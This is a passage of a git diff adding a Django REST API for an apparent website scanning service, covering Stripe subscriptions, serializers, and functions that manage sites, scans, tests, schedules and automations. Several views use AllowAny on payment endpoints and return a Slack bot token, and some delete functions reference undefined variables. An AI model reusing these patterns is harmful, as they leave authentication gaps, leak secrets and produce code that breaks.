} + }, + } + + + return Response(data, status=status.HTTP_200_OK) + + + +class SetupSubscription(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + user = request.user + name = request.data['name'] + product_name = str(user.email + '_' + str(user.id) + '_' + name) + price_amount = int(request.data['price_amount']) + max_sites = int(request.data['max_sites']) + + if Account.objects.filter(user=user).exists(): + old_account = Account.objects.get(user=user) + stripe.Price.modify(old_account.price_id, active=False) + product = stripe.Product.modify(old_account.product_id, name=product_name) + customer = stripe.Customer.retrieve(old_account.cust_id) + + price = stripe.Price.create( + product=product.id, + unit_amount=price_amount, + currency='usd', + recurring={'interval': 'month',}, + ) + + sub = stripe.Subscription.retrieve(old_account.sub_id) + subscription = stripe.Subscription.modify( + sub.id, + cancel_at_period_end=False, + proration_behavior='create_prorations', + items=[{ + 'id': sub['items']['data'][0].id, + 'price': price.id, + }], + expand=['latest_invoice.payment_intent'], + ) + + Account.objects.filter(user=user).update( + type = name, + cust_id = customer.id, + sub_id = subscription.id, + product_id = product.id, + price_id = price.id, + max_sites = max_sites, + ) + + else: + product = stripe.Product.create(name=product_name) + customer = stripe.Customer.create(email=request.user.email) + price = stripe.Price.create( + product=product.id, + unit_amount=price_amount, + currency='usd', + recurring={ + 'interval': 'month', + 'trial_period_days': 7, + }, + ) + subscription = stripe.Subscription.create( + customer=customer.id, + items=[{ + 'price': price.id, + }], + payment_behavior='default_incomplete', + expand=['latest_invoice.payment_intent'], + ) + + Account.objects.create( + user=user, + type = name, + cust_id = customer.id, + sub_id = subscription.id, + product_id = product.id, + price_id = price.id, + max_sites = max_sites, + ) + + + + data = { + 'subscription_id' : subscription.id, + 'client_secret' : subscription.latest_invoice.payment_intent.client_secret, + } + + + return Response(data, status=status.HTTP_200_OK) + + + + +class GetBillingInfo(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + user = request.user + if Account.objects.filter(user=user).exists(): + card = Card.objects.get(user=user) + account = Account.objects.get(user=user) + + data = { + 'card': { + 'brand': card.brand, + 'exp_year': card.exp_year, + 'exp_month': card.exp_month, + 'last_four': card.last_four, + }, + 'plan': { + 'name': account.type, + 'active': account.active, + 'slack': { + 'slack_name': account.slack['slack_name'], + 'bot_user_id': account.slack['bot_user_id'], + 'slack_team_id': account.slack['slack_team_id'], + 'bot_access_token': account.slack['bot_access_token'], + 'slack_channel_id': account.slack['slack_channel_id'], + 'slack_channel_name': account.slack['slack_channel_name'], + } + }, + } + + return Response(data, status=status.HTTP_200_OK) + + else: + return Response(status=status.HTTP_404_NOT_FOUND) + + + + +class AccountActivation(APIView): + permission_classes = (AllowAny,) + https_method_names = ['post',] + + def post(self, request): + account = Account.objects.get(user=request.user) + stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + + if account.active == True: + stripe.Subscription.modify( + account.sub_id, + pause_collection={ + 'behavior': 'mark_uncollectible', + }, + ) + account.active = False + account.save() + else: + stripe.Subscription.modify( + account.sub_id, + pause_collection='', + ) + account.active = True + account.save() + + + card = Card.objects.get(account=account) + + data = { + 'card': { + 'brand': card.brand, + 'exp_year': card.exp_year, + 'exp_month': card.exp_month, + 'last_four': card.last_four, + }, + 'plan': { + 'name': account.type, + 'active': account.active, + 'slack': { + 'slack_name': account.slack['slack_name'], + 'bot_user_id': account.slack['bot_user_id'], + 'slack_team_id': account.slack['slack_team_id'], + 'bot_access_token': account.slack['bot_access_token'], + 'slack_channel_id': account.slack['slack_channel_id'], + 'slack_channel_name': account.slack['slack_channel_name'], + }, + }, + } + + return Response(data, status=status.HTTP_200_OK) + \ No newline at end of file diff --git a/app/api/v1/ops/__init__.py b/app/api/v1/ops/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py new file mode 100644 index 00000000..0f32061a --- /dev/null +++ b/app/api/v1/ops/serializers.py @@ -0,0 +1,128 @@ +from ...models import * +from rest_framework import serializers +from rest_framework.fields import UUIDField + +kwargs = { + 'allow_null': False, + 'read_only': True, + 'pk_field': UUIDField(format='hex_verbose') + } + + + +class LogSerializer(serializers.HyperlinkedModelSerializer): + user = serializers.ReadOnlyField(source='user.username') + id = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Log + fields = ['id', 'user', 'path', 'time_created', 'request_type', + 'status', 'request_payload', 'response_payload' + ] + + + +class SiteSerializer(serializers.HyperlinkedModelSerializer): + user = serializers.ReadOnlyField(source='user.username') + id = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Site + fields = ['id', 'user', 'site_url', 'time_created', 'info', + 'tags', + ] + + +class ScanSerializer(serializers.HyperlinkedModelSerializer): + site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs) + paired_scan = serializers.PrimaryKeyRelatedField(source='paired_scan.id',**kwargs) + id = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Scan + fields = ['id', 'site', 'paired_scan', 'time_created', + 'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', + 'images', 'configs', 'tags', + ] + + +class SmallScanSerializer(serializers.HyperlinkedModelSerializer): + site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs) + paired_scan = serializers.PrimaryKeyRelatedField(source='paired_scan.id',**kwargs) + id = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Scan + fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', + 'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags', + ] + + +class TestSerializer(serializers.HyperlinkedModelSerializer): + site = serializers.PrimaryKeyRelatedField(**kwargs) + pre_scan = serializers.PrimaryKeyRelatedField(**kwargs) + post_scan = serializers.PrimaryKeyRelatedField(source='post_scan.id',**kwargs) + id = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Test + fields = ['id', 'site', 'time_created', 'time_completed', + 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', + 'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', + 'tags', + ] + + +class SmallTestSerializer(serializers.HyperlinkedModelSerializer): + site = serializers.PrimaryKeyRelatedField(**kwargs) + pre_scan = serializers.PrimaryKeyRelatedField(**kwargs) + post_scan = serializers.PrimaryKeyRelatedField(source='post_scan.id',**kwargs) + id = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Test + fields = ['id', 'site', 'time_created', 'time_completed', + 'pre_scan', 'post_scan', 'score', 'lighthouse_delta', + 'yellowlab_delta', 'tags', + ] + + +class ScheduleSerializer(serializers.HyperlinkedModelSerializer): + site = serializers.PrimaryKeyRelatedField(**kwargs) + user = serializers.ReadOnlyField(source='user.username') + id = serializers.PrimaryKeyRelatedField(**kwargs) + automation = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Schedule + fields = ['id', 'site', 'time_created', 'user', 'task_type', + 'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id', + 'periodic_task_id', 'status', 'automation', 'extras' + ] + + + +class AutomationSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + schedule = serializers.PrimaryKeyRelatedField(**kwargs) + user = serializers.ReadOnlyField(source='user.username') + + class Meta: + model = Automation + fields = ['id', 'expressions', 'actions', 'user', 'schedule', + 'time_created', 'name' + ] + + + + +class ReportSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + user = serializers.ReadOnlyField(source='user.username') + + class Meta: + model = Report + fields = ['id', 'site', 'user', 'time_created', 'type', + 'path', 'info' + ] \ No newline at end of file diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py new file mode 100644 index 00000000..92d41135 --- /dev/null +++ b/app/api/v1/ops/services.py @@ -0,0 +1,1217 @@ +import json, boto3, asyncio +from datetime import datetime +from django.contrib.auth.models import User +from django_celery_beat.models import CrontabSchedule, PeriodicTask +from ...models import * +from rest_framework.response import Response +from rest_framework import status +from .serializers import * +from ...tasks import * +from rest_framework.pagination import LimitOffsetPagination +from ...utils.scanner import Scanner as S +from ...utils.tester import Tester as T +from ...utils.image import Image as I +from ...utils.reporter import Reporter as R +from ...utils.wordpress import Wordpress as W +from ...utils.wordpress_p import Wordpress as W_P + + + + + + +def record_api_call(request, data, status): + + auth = request.headers.get('Authorization') + if auth.startswith('Token'): + + if request.method == 'POST': + request_data = request.data + + elif request.method == 'GET': + request_data = request.query_params + + elif request.method == 'DELETE': + request_data = request.query_params + + log = Log.objects.create( + user=request.user, + path=request.path, + status=status, + request_type=request.method, + request_payload=request_data, + response_payload=data + ) + + return + + + +def check_account(request): + if Account.objects.filter(user=request.user).exists(): + account = Account.objects.get(user=request.user) + if account.active == True: + return True + else: + return False + else: + return True + + + +def create_site(request, delay=False): + site_url = request.data['site_url'] + user = request.user + sites = Site.objects.filter(user=user) + + account_is_active = check_account(request) + if not account_is_active: + data = {'reason': 'account not funded',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + try: + max_sites = Account.objects.get(user=user).max_sites + except: + max_sites = 1 + + if sites.count() >= max_sites: + data = {'reason': 'maximum number of sites reached',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + if Site.objects.filter(site_url=site_url).exists(): + data = {'reason': 'site already exists',} + record_api_call(request, data, '409') + return Response(data, status=status.HTTP_409_CONFLICT) + else: + tags = request.data.get('tags', None) + site = Site.objects.create( + site_url=site_url, + user=user, + tags=tags, + ) + + if delay == True: + scan = Scan.objects.create(site=site) + create_site_bg.delay(site.id, scan.id) + site.info["latest_scan"]["id"] = str(scan.id) + site.info["latest_scan"]["time_created"] = str(scan.time_created) + site.save() + else: + S(site=site).first_scan() + + serializer_context = {'request': request,} + serialized = SiteSerializer(site, context=serializer_context) + data = serialized.data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + + + +def get_sites(request): + site_id = request.query_params.get('site_id') + user = request.user + + if site_id != None: + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if site.user != user: + data = {'reason': 'you cannot retrieve a Site you do not own',} + return Response(data, status=status.HTTP_403_FORBIDDEN) + serializer_context = {'request': request,} + serialized = SiteSerializer(site, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + sites = Site.objects.filter(user=user).order_by('-time_created') + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(sites, request) + serializer_context = {'request': request,} + serialized = SiteSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + +def delete_site(request, id): + user = request.user + + try: + site = Site.objects.get(id=id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if site.user != user: + data = {'reason': 'you cannot delete Tests of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + # remove s3 objects + delete_site_s3_bg.delay(site_id=id) + + # remove site + site.delete() + + data = {'message': 'Site has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def create_test(request, delay=False): + + account_is_active = check_account(request) + if not account_is_active: + data = {'reason': 'account not funded',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + site_id = request.data['site_id'] + user = request.user + site = Site.objects.get(id=site_id, ) + if site.user != user: + data = {'reason': 'you cannot create a Test of a Site you do not own'} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + + # get data from request + configs = request.data.get('configs', None) + pre_scan_id = request.data.get('pre_scan', None) + post_scan_id = request.data.get('post_scan', None) + index = request.data.get('index', None) + test_type = request.data.get('type', ['full']) + tags = request.data.get('tags', None) + pre_scan = None + post_scan = None + + if len(test_type) == 0: + test_type = ['full'] + + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'min_wait_time': 10, + 'max_wait_time': 60, + } + + + if pre_scan_id: + pre_scan = Scan.objects.get(id=pre_scan_id) + if post_scan_id: + post_scan = Scan.objects.get(id=post_scan_id) + + + if not Scan.objects.filter(site=site).exists() or Scan.objects.filter(site=site)[0].time_completed == None: + data = {'reason': 'Site not yet onboarded'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + + + # creating test object + test = Test.objects.create( + site=site, + type=test_type, + tags=tags, + ) + + + if delay == True: + create_test_bg.delay( + test_id=test.id, + configs=configs, + type=test_type, + index=index, + pre_scan=pre_scan_id, + post_scan=post_scan_id, + tags=tags, + ) + data = { + 'message': 'test is being created in the background', + 'id': str(test.id), + } + record_api_call(request, data, '201') + return Response(data, status=status.HTTP_201_CREATED) + + else: + if not pre_scan and not post_scan: + new_scan = S(site=site, configs=configs) + post_scan = new_scan.second_scan() + pre_scan = post_scan.paired_scan + + if not post_scan and pre_scan: + post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() + + # updating parired scans + pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan + pre_scan.save() + post_scan.save() + + # updating test object + test.type = test_type + test.type = test_type + test.pre_scan = pre_scan + test.post_scan = post_scan + test.save() + + # running tester + updated_test = T(test=test).run_test(index=index) + + serializer_context = {'request': request,} + serialized = TestSerializer(updated_test, context=serializer_context) + data = serialized.data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + + + + +def get_tests(request): + user = request.user + test_id = request.query_params.get('test_id') + site_id = request.query_params.get('site_id') + time_begin = request.query_params.get('time_begin') + time_end = request.query_params.get('time_end') + small = request.query_params.get('small') + + if test_id != None: + + try: + test = Test.objects.get(id=test_id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if test.site.user != user: + data = {'reason': 'you cannot retrieve Tests of a Site you do not own'} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = TestSerializer(test, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + try: + site = Site.objects.get(id=site_id) + except: + if site_id != None: + data = {'reason': 'cannot find a site with that id',} + this_status = status.HTTP_404_NOT_FOUND + status_code = '404' + else: + data = {'reason': 'you did not provide the site_id'} + this_status = status.HTTP_400_BAD_REQUEST + status_code = '400' + record_api_call(request, data, status_code) + return Response(data, status=this_status) + + if site.user != user: + data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + if time_begin == None and site != None and time_end != None: + tests = Test.objects.filter(site=site).filter(time_completed__lte=time_end).order_by('-time_created') + elif time_end == None and site != None and time_begin != None: + tests = Test.objects.filter(site=site).filter(time_completed__gte=time_begin).order_by('-time_created') + elif time_end != None and time_begin != None and site != None: + tests = Test.objects.filter(site=site).filter(time_completed__gte=time_begin).filter(time_completed__lte=time_end).order_by('-time_created') + elif time_end == None and time_begin == None and Site != None: + tests = Test.objects.filter(site=site).order_by('-time_created') + else: + data = {'reason': 'you did not provide the right params',} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(tests, request) + serializer_context = {'request': request,} + if small != None: + serialized = SmallTestSerializer(result_page, many=True, context=serializer_context) + else: + serialized = TestSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + + return response + + + + +def delete_test(request, id): + try: + test = Test.objects.get(id=id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + site = test.site + user = request.user + + if site.user != user: + data = {'reason': 'you cannot delete Tests of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + test.delete() + + data = {'message': 'Test has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + +def create_scan(request, delay=False): + + site_id = request.data['site_id'] + user = request.user + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + account_is_active = check_account(request) + if not account_is_active: + data = {'reason': 'account not funded',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + if site.user != user: + data = {'reason': 'you cannot create a Scan of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + + configs = request.data.get('configs', None) + tags = request.data.get('tags', None) + + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'min_wait_time': 10, + 'max_wait_time': 60, + } + + # creating scan obj + created_scan = Scan.objects.create(site=site, tags=tags) + + if delay == True: + create_scan_bg.delay(scan_id=created_scan.id, configs=configs) + data = { + 'message': 'scan is being created in the background', + 'id': str(created_scan.id), + } + record_api_call(request, data, '201') + return Response(data, status=status.HTTP_201_CREATED) + else: + updated_scan = S(scan=created_scan, configs=configs).first_scan() + serializer_context = {'request': request,} + serialized = ScanSerializer(updated_scan, context=serializer_context) + data = serialized.data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + +def get_scans(request): + + user = request.user + scan_id = request.query_params.get('scan_id') + site_id = request.query_params.get('site_id') + time_begin = request.query_params.get('time_begin') + time_end = request.query_params.get('time_end') + small = request.query_params.get('small') + + if scan_id != None: + try: + scan = Scan.objects.get(id=scan_id) + except: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if scan.site.user != user: + data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = ScanSerializer(scan, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + + if site.user != user: + data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + + if time_begin == None and site != None and time_end != None: + scans = Scan.objects.filter(site=site).filter(time_created__lte=time_end).order_by('-time_created') + elif time_end == None and site != None and time_begin != None: + scans = Scan.objects.filter(site=site).filter(time_created__gte=time_begin).order_by('-time_created') + elif time_end == None and time_begin == None and site != None: + scans = Scan.objects.filter(site=site).order_by('-time_created') + elif time_end != None and time_begin != None and site != None: + scans = Scan.objects.filter(site=site).filter(time_created__gte=time_begin).filter(time_created__lte=time_end).order_by('-time_created') + + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(scans, request) + serializer_context = {'request': request,} + if small != None: + serialized = SmallScanSerializer(result_page, many=True, context=serializer_context) + else: + serialized = ScanSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + +def delete_scan(request, id): + try: + scan = Scan.objects.get(id=scan_id) + except: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + site = scan.site + user = request.user + + if site.user != user: + data = {'reason': 'you cannot delete Scans of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + scan.delete() + + data = {'message': 'Scan has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + +def create_or_update_schedule(request): + + account_is_active = check_account(request) + if not account_is_active: + data = {'reason': 'account not funded',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + try: + site = Site.objects.get(id=request.data['site_id']) + if site.user != request.user and site.user != None: + data = {'reason': 'you cannot create a Schedule of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + except: + site = None + try: + schedule = Schedule.objects.get(id=request.data['schedule_id']) + if schedule.user != request.user and schedule.user != None: + data = {'reason': 'you cannot update a Schedule you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + except: + schedule = None + + + schedule_status = request.data.get('status', None) + begin_date_raw = request.data.get('begin_date', None) + time = request.data.get('time', None) + timezone = request.data.get('timezone', None) + freq = request.data.get('frequency', None) + task_type = request.data.get('task_type', None) + test_type = request.data.get('test_type', None) + configs = request.data.get('configs', None) + schedule_id = request.data.get('schedule_id', None) + + + + if schedule_status != None and schedule != None: + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + if task.enabled == True: + task.enabled = False + schedule.status = 'Paused' + else: + task.enabled = True + schedule.status = 'Active' + task.save() + schedule.save() + # retriving object again to avoid cacheing issues + schedule_new = Schedule.objects.get(id=request.data['schedule_id']) + + # if not status change, updating data + else: + + if Automation.objects.filter(schedule=schedule).exists(): + automation = Automation.objects.filter(schedule=schedule)[0] + auto_id = automation.id + else: + auto_id = None + + if task_type == 'test': + task = 'api.tasks.create_test_bg' + arguments = { + 'site_id': str(site.id), + 'configs': configs, + 'type': test_type, + 'automation_id': str(auto_id) + } + + if task_type == 'scan': + task = 'api.tasks.create_scan_bg' + arguments = { + 'site_id': str(site.id), + 'configs': configs, + 'automation_id': str(auto_id) + } + + if task_type == 'report': + task = 'api.tasks.create_report_bg' + arguments = { + 'site_id': str(site.id), + 'automation_id': str(auto_id) + } + + format_str = '%m/%d/%Y' + + try: + begin_date = datetime.strptime(begin_date_raw, format_str) + except: + begin_date = datetime.now() + + num_day_of_week = begin_date.weekday() + day = begin_date.strftime("%d") + minute = time[3:5] + hour = time[0:2] + + if freq == 'daily': + day_of_week = '*' + day_of_month = '*' + elif freq == 'weekly': + day_of_week = num_day_of_week + day_of_month = '*' + elif freq == 'monthly': + day_of_week = '*' + day_of_month = day + + + task_name = str(task_type) + '_' + str(site.site_url) + '_' + str(freq) + '_@' + str(time) + + crontab, _ = CrontabSchedule.objects.get_or_create( + timezone=timezone, minute=minute, hour=hour, + day_of_week=day_of_week, day_of_month=day_of_month, + ) + + if schedule: + if PeriodicTask.objects.filter(id=schedule.periodic_task_id).exists(): + periodic_task = PeriodicTask.objects.filter(id=schedule.periodic_task_id) + periodic_task.update( + crontab=crontab, + name=task_name, task=task, + kwargs=json.dumps(arguments), + ) + periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + else: + periodic_task = PeriodicTask.objects.create( + crontab=crontab, name=task_name, task=task, + kwargs=json.dumps(arguments), + ) + + else: + if PeriodicTask.objects.filter(name=task_name).exists(): + data = {'reason': 'Task has already be created',} + record_api_call(request, data, '401') + return Response(data, status=status.HTTP_401_UNAUTHORIZED) + + periodic_task = PeriodicTask.objects.create( + crontab=crontab, name=task_name, task=task, + kwargs=json.dumps(arguments), + ) + + extras = { + "configs": configs, + "test_type": test_type, + } + + if schedule: + schedule_query = Schedule.objects.filter(id=schedule_id) + if schedule_query.exists(): + schedule_query.update( + user=request.user, timezone=timezone, + begin_date=begin_date, time=time, frequency=freq, + task=task, crontab_id=crontab.id, task_type=task_type, + extras=extras + ) + schedule_new = Schedule.objects.get(id=schedule_id) + else: + schedule_new = Schedule.objects.create( + user=request.user, site=site, task_type=task_type, timezone=timezone, + begin_date=begin_date, time=time, frequency=freq, + task=task, crontab_id=crontab.id, + periodic_task_id=periodic_task.id, + extras=extras + ) + + serializer_context = {'request': request,} + data = ScheduleSerializer(schedule_new, context=serializer_context).data + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def get_schedules(request): + user = request.user + schedule_id = request.query_params.get('schedule_id') + site_id = request.query_params.get('site_id') + + + if schedule_id != None: + try: + schedule = Schedule.objects.get(id=schedule_id) + except: + data = {'reason': 'cannot find a Schedule with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if schedule.site.user != user or schedule.user != user: + data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = ScheduleSerializer(schedule, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if site.user != user: + data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + schedules = Schedule.objects.filter(site=site).order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(schedules, request) + serializer_context = {'request': request,} + serialized = ScheduleSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + +def delete_schedule(request, id): + try: + schedule = Schedule.objects.get(id=schedule_id) + except: + data = {'reason': 'cannot find a Schedule with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + site = schedule.site + user = request.user + + if site.user != user: + data = {'reason': 'you cannot delete Schedules you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + schedule.delete() + task.delete() + + data = {'message': 'Schedule has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + + + +def create_or_update_automation(request): + + account_is_active = check_account(request) + if not account_is_active: + data = {'reason': 'account not funded',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + try: + schedule = Schedule.objects.get(id=request.data['schedule_id']) + try: + automation = Automation.objects.get(id=schedule.automation.id) + if automation.user != request.user and automation.user != None: + data = {'reason': 'you cannot update a Automation you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + except: + automation = None + if schedule.user != request.user and schedule.user != None: + data = {'reason': 'you cannot create a Automation of a Schedule you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + except: + schedule = None + automation = None + + # get data + name = request.data['name'] + expressions = request.data['expressions'] + actions = request.data['actions'] + + if automation: + automation.name = name + automation.expressions = expressions + automation.actions = actions + automation.schedule = schedule + automation.save() + + if not automation: + automation = Automation.objects.create( + name=name, expressions=expressions, actions=actions, + schedule=schedule, user=request.user, + ) + + if schedule: + schedule.automation = automation + schedule.save() + # update associated periodicTask + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + arguments = { + 'site_id': str(schedule.site.id), + 'automation_id': str(automation.id), + 'configs': json.loads(task.kwargs).get('configs', None), + 'type': json.loads(task.kwargs).get('type', None), + } + task.kwargs=json.dumps(arguments) + task.save() + + serializer_context = {'request': request,} + data = AutomationSerializer(automation, context=serializer_context).data + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + +def get_automations(request): + automation_id = request.query_params.get('automation_id') + user = request.user + if automation_id != None: + try: + automation = Automation.objects.get(id=automation_id) + except: + data = {'reason': 'cannot find a Automation with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if automation.user != user: + data = {'reason': 'you cannot retrieve an Automation you do not own',} + return Response(data, status=status.HTTP_403_FORBIDDEN) + serializer_context = {'request': request,} + serialized = AutomationSerializer(automation, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + automations = Automation.objects.filter(user=user).order_by('-time_created') + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(automations, request) + serializer_context = {'request': request,} + serialized = AutomationSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + +def delete_automation(request, id): + try: + automation = Automation.objects.get(id=automation_id) + except: + data = {'reason': 'cannot find a Automation with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if automation.user != request.user: + data = {'reason': 'you cannot delete an automation you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + automation.delete() + + data = {'message': 'Automation has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + + + + + +def create_or_update_report(request): + + report_id = request.data.get('report_id', None) + site_id = request.data.get('site_id', None) + report_type = request.data.get('type', ['full']) + text_color = request.data.get('text_color', '#24262d') + background_color = request.data.get('background_color', '#e1effd') + highlight_color = request.data.get('highlight_color', '#4283f8') + site = Site.objects.get(id=site_id) + + info = { + "text_color": text_color, + "background_color": background_color, + "highlight_color": highlight_color, + } + + if report_id: + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + else: + report = Report.objects.create( + 